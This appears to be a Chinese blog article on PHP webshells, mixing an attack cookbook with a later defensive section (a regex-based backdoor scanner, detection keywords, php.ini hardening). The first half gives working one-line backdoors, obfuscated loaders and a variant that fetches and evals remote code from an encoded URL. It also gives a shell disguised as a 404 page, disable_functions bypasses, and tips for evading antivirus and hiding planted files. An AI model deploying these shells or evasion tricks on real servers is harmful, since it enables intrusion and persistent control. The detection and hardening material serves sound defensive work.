基于PHP的应用面临着各种各样的攻击:
XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点。攻击者可以利用它盗取用户信息。你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入)来防范XSS攻击
SQL注入:这是PHP应用中,数据库层的易受攻击点。防范方式同上。常用的方法是,使用mysql_real_escape_string()对参数进行转义,而后进行SQL查询。
文件上传:它可以让访问者在服务器上放置(即上传)文件。这会造成例如,删除服务器文件、数据库,获取用户信息等一系列问题。你可以使用PHP来禁止文件上传,或编写更安全的代码(如检验用户输入,只允许上传png、gif这些图片格式)
包含本地与远程文件:攻击者可以使远程服务器打开文件,运行任何PHP代码,然后上传或删除文件,安装后门。可以通过取消远程文件执行的设置来防范
eval/assert:这个函数可以使一段字符串如同PHP代码一样执行。它通常被攻击者用于在服务器上隐藏代码和工具。通过配置PHP,取消eval等函数调用来实现
Sea-surt Attack(Cross-site request forgery,CSRF。跨站请求伪造):这种攻击会使终端用户在当前账号下执行非指定行为。这会危害终端用户的数据与操作安全。如果目标终端用户的账号用于管理员权限,整个Web应用都会收到威胁。
这里介绍上述加粗的几种攻击的方法
一、各种webshell
随着业务量的增大,越来越多的黑客来攻击扫描,网站安全性日益重要,一不留神就被黑客控制了服务器,最常见的方式就是通过POST请求来上传木马文件,从而达到可以执行任意命令,如果被控制就大事不妙了
所以还是要正视服务器的安全
最流行的一种后门叫做一句话木马,其形式如下所示:
1
2
3
4
5
6
7
8
|
<?php if (isset($_REQUEST[ 'cmd' ])){
$cmd = ($_REQUEST[ "cmd" ]);
system($cmd);
echo "</pre>$cmd<pre>" ;
die;
} ?> |
这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的
a、使用str_replace函数
1
2
3
4
|
<?php $a =str_replace(x, "" , "axsxxsxexrxxt" );$a($_POST[ "code" ]); ?>
// 说明:请求参数 ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode( "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==" ))
最终执行命令<?php assert(fputs(fopen( 'c.php' ,w), "<?php @eval($_POST[a]);?>" ))?>
|
b、使用str_rot13函数
1
2
|
<?php ($code = $_POST[ 'code' ]) && @preg_replace( '/ad/e' , '@' .str_rot13( 'riny' ). '($code)' , 'add' ); ?>
// 说明:首先,将 eval 函数用str_rot13( 'riny' )隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。
|
c、使用include函数
1
2
3
|
<?php $filename=$_GET[ 'code' ];include ($filename); ?>
// 由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
|
d、使用pack函数
1
2
3
4
|
<?php if (empty($_SESSION[ 'api' ]))
$_SESSION[ 'api' ]=substr(file_get_contents(sprintf( '%s? %s' ,pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[ 'api' ]),null);
?> |
e、使用session
1
2
3
4
|
<?php session_start(); $_POST[ 'code' ] && $_SESSION[ 'theCode' ] = trim($_POST[ 'code' ]);
$_SESSION[ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );
|
f、隐藏在html页面
1
2
3
4
5
6
7
8
9
10
11
|
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" >
<html>< head >
<title>404 Not Found< /title >
< /head ><body>
<h1>Not Found< /h1 >
<p>The requested URL was not found on this server.< /p >
< /body >< /html >
<?php @preg_replace( "/[pageerror]/e" ,$_POST[ 'error' ], "saft" );
header( 'HTTP/1.1 404 Not Found' );
?> |
g、使用assert函数
1
|
<?php assert($_POST[sb]);?> |
或者
1
2
3
4
|
<?php $item[ 'wind' ] = 'assert' ;
$array[] = $item; $array[0][ 'wind' ]($_POST[ 'iixosmse' ]);
|
h、使用copy函数复制文件
1
2
3
|
<?php $reg= "c" . "o" . "p" . "y" ;
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); |
二、代码混淆
1
2
3
4
5
6
7
8
9
|
<?php @$_++; // $_ = 1
$__=( "#" ^ "|" ); // $__ = _
$__.=( "." ^ "~" ); // _P
$__.=( "/" ^ "`" ); // _PO
$__.=( "|" ^ "/" ); // _POS
$__.=( "{" ^ "/" ); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?> |
或者
1
2
3
4
5
6
7
8
9
10
|
<?php $penh= "sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=" ;
$kthe= "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn" ;
$ftdf = str_replace( "w" , "" , "stwrw_wrwepwlwawcwe" );
$wmmi= "X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk" ;
$zrmt= "JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo" ;
$smgv = $ftdf( "f" , "" , "bfafsfef6f4_fdfefcodfe" );
$jgfi = $ftdf( "l" , "" , "lclrlelaltel_functlilon" );
$rdwm = $jgfi( '' , $smgv($ftdf( "gi" , "" , $zrmt.$kthe.$wmmi.$penh))); $rdwm();
?> |
可以使用weevely工具来生成,代码伪装避开各种主流的杀毒软件
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的*软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
更常用的混淆视听的方法:(这种是服务器层面的混淆)
修改文件时间
改名融入上传后所在文件夹,让人无法直观看出文件异常
文件大小的伪装处理(至少看起大小像个正常脚本)
选好藏身路径并尽量少的访问
畸形目录%20
三、如果绕过配置文件
一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?
1、使用反射
相关内容可参考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。
1
2
3
4
|
<?php $func = new ReflectionFunction( "system" );
echo $func->invokeArgs(array( "$_GET[c]" ));
?> |
2、使用callback
php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php
1
2
3
4
5
6
|
<?php $cb= 'system' ;
ob_start($cb); echo $_GET[c];
ob_end_flush(); ?> |
php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等
四、安全人员应该怎么做
1、如何查找
直观寻找方式也有很多
通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)
通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
通过access.log访问日志分析
下面是360 zhujiweishi ,在linux服务器上非常简单好用
通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)
系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
通过简单的python脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
#!/usr/bin/env python # encoding: utf-8 import os,sys
import re
import hashlib
import time
rulelist = [
'(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))' ,
'((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))' ,
'(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})' ,
'(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))' ,
'((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))' ,
'(\$(\w+)\s*\(\s.chr\(\d+\)\))' ,
'(\$(\w+)\s*\$\{(.*)\})' ,
'(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))' ,
'(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))' ,
'(\$\_\=(.*)\$\_)' ,
'(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))' ,
'(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))' ,
'(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))' ,
'((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))' ,
'(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))' ,
'(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))' ,
'((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))' ,
'(eval\s*\(\s*\(\s*\$\$(\w+))' ,
'((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))' ,
'(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
]
def scan(path):
print ( ' 可疑文件 ' )
print ( '*' * 30 )
for root,dirs,files in os.walk(path):
for filespath in files:
if os.path.getsize(os.path.join(root,filespath))< 1024000 :
file = open (os.path.join(root,filespath))
filestr = file .read()
file .close()
for rule in rulelist:
result = re. compile (rule).findall(filestr)
if result:
print '文件:' + os.path.join(root,filespath )
print '恶意代码:' + str (result[ 0 ][ 0 : 200 ])
print ( '最后修改时间:' + time.strftime( '%Y-%m-%d %H:%M:%S' ,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
print '\n\n'
break
def md5sum(md5_file):
m = hashlib.md5()
fp = open (md5_file)
m.update(fp.read())
return m.hexdigest()
fp.close()
if md5sum( '/etc/issue' ) = = '3e3c7c4194b12af573ab11c16990c477' :
if md5sum( '/usr/sbin/sshd' ) = = 'abf7a90c36705ef679298a44af80b10b' :
pass
else :
print ( '*' * 40 )
print "\033[31m sshd被修改,疑似留有后门\033[m"
print ( '*' * 40 )
time.sleep( 5 )
if md5sum( '/etc/issue' ) = = '6c9222ee501323045d85545853ebea55' :
if md5sum( '/usr/sbin/sshd' ) = = '4bbf2b12d6b7f234fa01b23dc9822838' :
pass
else :
print ( '*' * 40 )
print "\033[31m sshd被修改,疑似留有后门\033[m"
print ( '*' * 40 )
time.sleep( 5 )
if __name__ = = '__main__' :
if len (sys.argv)! = 2 :
print '参数错误'
print "\t按恶意代码查找:" + sys.argv[ 0 ] + '目录名'
if os.path.lexists(sys.argv[ 1 ]) = = False :
print "目录不存在"
exit()
print ( '\n\n开始查找:' + sys.argv[ 1 ])
if len (sys.argv) = = 2 :
scan(sys.argv[ 1 ])
else :
exit()
|
2、如何防范
php.ini 设置
disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
设置“safe_mode”为“on”
禁止“open_basedir” 可以禁止指定目录之外的文件操作
expose_php设为off 这样php不会在http文件头中泄露信息
设置“allow_url_fopen”为“off” 可禁止远程文件功能
log_errors”设为“on” 错误日志开启
php编码方面
所有用户提交的信息 post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)
经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码
文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题
如用开源代码,有补丁出来的话,尽快打上补丁
如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。
服务器配置
配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限
nginx或者apache配置的时候,不能访问的目录一定要配置为deny
待续。。。
参考文章
https://github.com/chenpingzhao/php-webshells
http://blog.csdn.net/miltonzhong/article/details/9714367
http://blog.jobbole.com/53821/